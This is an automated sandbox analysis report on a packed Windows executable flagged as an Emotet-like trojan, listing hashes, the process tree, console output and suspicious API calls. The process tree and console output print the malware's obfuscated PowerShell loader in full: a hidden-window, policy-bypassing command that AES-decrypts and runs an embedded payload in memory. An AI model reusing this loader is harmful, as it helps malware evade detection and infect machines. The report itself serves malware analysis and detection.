Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Feb. 12, 2024, 5:26 p.m.	Feb. 12, 2024, 5:37 p.m.

Size	212.0KB
Type	PE32+ executable (GUI) x86-64, for MS Windows
MD5	`7e0ec75c05e1ed3fca184fbb286c011c`
SHA256	`07a34c678049cc8ca4af545fc15b3591bdc2d47f47880795e5301509bdae74a2`
CRC32	`9CDA9343`
ssdeep	`3072:THwrxmMpvDITZg1Sr5GWp1icKAArDZz4N9GhbkrNEk13atSNQgJ7Ar:0rMZhp0yN90QEwZJ7U`
PDB Path	wextract.pdb
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE64 - (no description) Win32_Trojan_Emotet_RL_Gen_Zero - Win32 Trojan Emotet Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet CAB_file_format - CAB archive file UPX_Zero - UPX packed file

RuntimeBroker.EXE "C:\Users\test22\AppData\Local\Temp\RuntimeBroker.EXE"
1508
- cmd.exe cmd /c meh.bat
  1740
  - meh.bat.exe "meh.bat.exe" -noprofile -windowstyle hidden -executionpolicy bypass -command $rJqIJ = 'gnirtS46esaBmorF'.ToCharArray();[array]::Reverse($rJqIJ);$xMyVG = [String]::new($rJqIJ);$FuGSz = [System.IO.File]::ReadAllText('C:\Users\test22\AppData\Local\Temp\IXP000.TMP\meh.bat').Split([Environment]::NewLine);$PEMZw = $FuGSz[$FuGSz.Length - 1];$YlXeY = [System.Convert]::$xMyVG($PEMZw);$ayIpj = New-Object System.Security.Cryptography.AesManaged;$ayIpj.Mode = [System.Security.Cryptography.CipherMode]::CBC;$ayIpj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$ayIpj.Key = [System.Convert]::$xMyVG('kMxZtZH58ZT87P1HobGlND3OHzJkEzHseE9HY8EGR/k=');$ayIpj.IV = [System.Convert]::$xMyVG('KPHYWqGU9TagNjBtlKwYzA==');$hkVrR = $ayIpj.CreateDecryptor();$YlXeY = $hkVrR.TransformFinalBlock($YlXeY, 0, $YlXeY.Length);$hkVrR.Dispose();$ayIpj.Dispose();$ezoCa = New-Object System.IO.MemoryStream(, $YlXeY);$fZQEJ = New-Object System.IO.MemoryStream;$yuTmf = New-Object System.IO.Compression.GZipStream($ezoCa, [IO.Compression.CompressionMode]::Decompress);$yuTmf.CopyTo($fZQEJ);$yuTmf.Dispose();$ezoCa.Dispose();$fZQEJ.Dispose();$YlXeY = $fZQEJ.ToArray();[System.Reflection.Assembly]::Load($YlXeY).EntryPoint.Invoke($null, (, [string[]] ('')))
    2156

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameA Feb. 12, 2024, 5:27 p.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW Feb. 12, 2024, 5:27 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Feb. 12, 2024, 5:27 p.m.			0	0

Command line console output was observed (21 events)

Time & API	Arguments	Status	Return
WriteConsoleW Feb. 12, 2024, 5:26 p.m.	buffer: 1 file(s) copied. console_handle: 0x0000000000000007	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: Unexpected token '(' in expression or statement. console_handle: 0x0000000000000023	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: At line:1 char:294 console_handle: 0x000000000000002f	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: + $rJqIJ = 'gnirtS46esaBmorF'.ToCharArray();[array]::Reverse($rJqIJ);$xMyVG = [ console_handle: 0x000000000000003b	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: String]::new($rJqIJ);$FuGSz = [System.IO.File]::ReadAllText('C:\Users\test22\Ap console_handle: 0x0000000000000047	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: pData\Local\Temp\IXP000.TMP\meh.bat').Split([Environment]::NewLine);$PEMZw = $F console_handle: 0x0000000000000053	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: uGSz[$FuGSz.Length - 1];$YlXeY = [System.Convert]::$xMyVG( <<<< $PEMZw);$ayIpj console_handle: 0x000000000000005f	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: = New-Object System.Security.Cryptography.AesManaged;$ayIpj.Mode = [System.Secu console_handle: 0x000000000000006b	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: rity.Cryptography.CipherMode]::CBC;$ayIpj.Padding = [System.Security.Cryptograp console_handle: 0x0000000000000077	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: hy.PaddingMode]::PKCS7;$ayIpj.Key = [System.Convert]::$xMyVG('kMxZtZH58ZT87P1Ho console_handle: 0x0000000000000083	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: bGlND3OHzJkEzHseE9HY8EGR/k=');$ayIpj.IV = [System.Convert]::$xMyVG('KPHYWqGU9Ta console_handle: 0x000000000000008f	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: gNjBtlKwYzA==');$hkVrR = $ayIpj.CreateDecryptor();$YlXeY = $hkVrR.TransformFina console_handle: 0x000000000000009b	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: lBlock($YlXeY, 0, $YlXeY.Length);$hkVrR.Dispose();$ayIpj.Dispose();$ezoCa = New console_handle: 0x00000000000000a7	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: -Object System.IO.MemoryStream(, $YlXeY);$fZQEJ = New-Object System.IO.MemorySt console_handle: 0x00000000000000b3	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: ream;$yuTmf = New-Object System.IO.Compression.GZipStream($ezoCa, [IO.Compressi console_handle: 0x00000000000000bf	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: on.CompressionMode]::Decompress);$yuTmf.CopyTo($fZQEJ);$yuTmf.Dispose();$ezoCa. console_handle: 0x00000000000000cb	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: Dispose();$fZQEJ.Dispose();$YlXeY = $fZQEJ.ToArray();[System.Reflection.Assembl console_handle: 0x00000000000000d7	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: y]::Load($YlXeY).EntryPoint.Invoke($null, (, [string[]] (''))) console_handle: 0x00000000000000e3	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: + CategoryInfo : ParserError: ((:String) [], ParentContainsErrorR console_handle: 0x00000000000000ef	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: ecordException console_handle: 0x00000000000000fb	1	1
WriteConsoleW Feb. 12, 2024, 5:27 p.m.	buffer: + FullyQualifiedErrorId : UnexpectedToken console_handle: 0x0000000000000107	1	1

Uses Windows APIs to generate a cryptographic key (44 events)

Time & API	Arguments	Status	Return
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003aebc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004188f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004188f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004188f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000430e40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000430e40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000430d60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000430d60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000430d60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000430d60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000430eb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000430eb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000430eb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004311c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004311c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004311c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431700 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431700 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431700 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431700 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431700 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004311c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004311c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431700 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431700 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431700 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431a80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431a80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431a80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000431a80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b760bd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b760bd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b760d20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b760d20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003aed80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 12, 2024, 5:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003aed80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

wextract.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Feb. 12, 2024, 5:26 p.m.		1	1	0

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

AVI

Allocates read-write-execute memory (usually to unpack itself) (50 out of 187 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 1703936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002680000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000027a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35d1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3850000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3850000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3850000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3850000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3850000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3851000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3851000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3851000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3851000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef384e000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00052000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000027a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000027a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0011a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00053000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00054000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00142000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0011d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00102000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00055000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00190000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
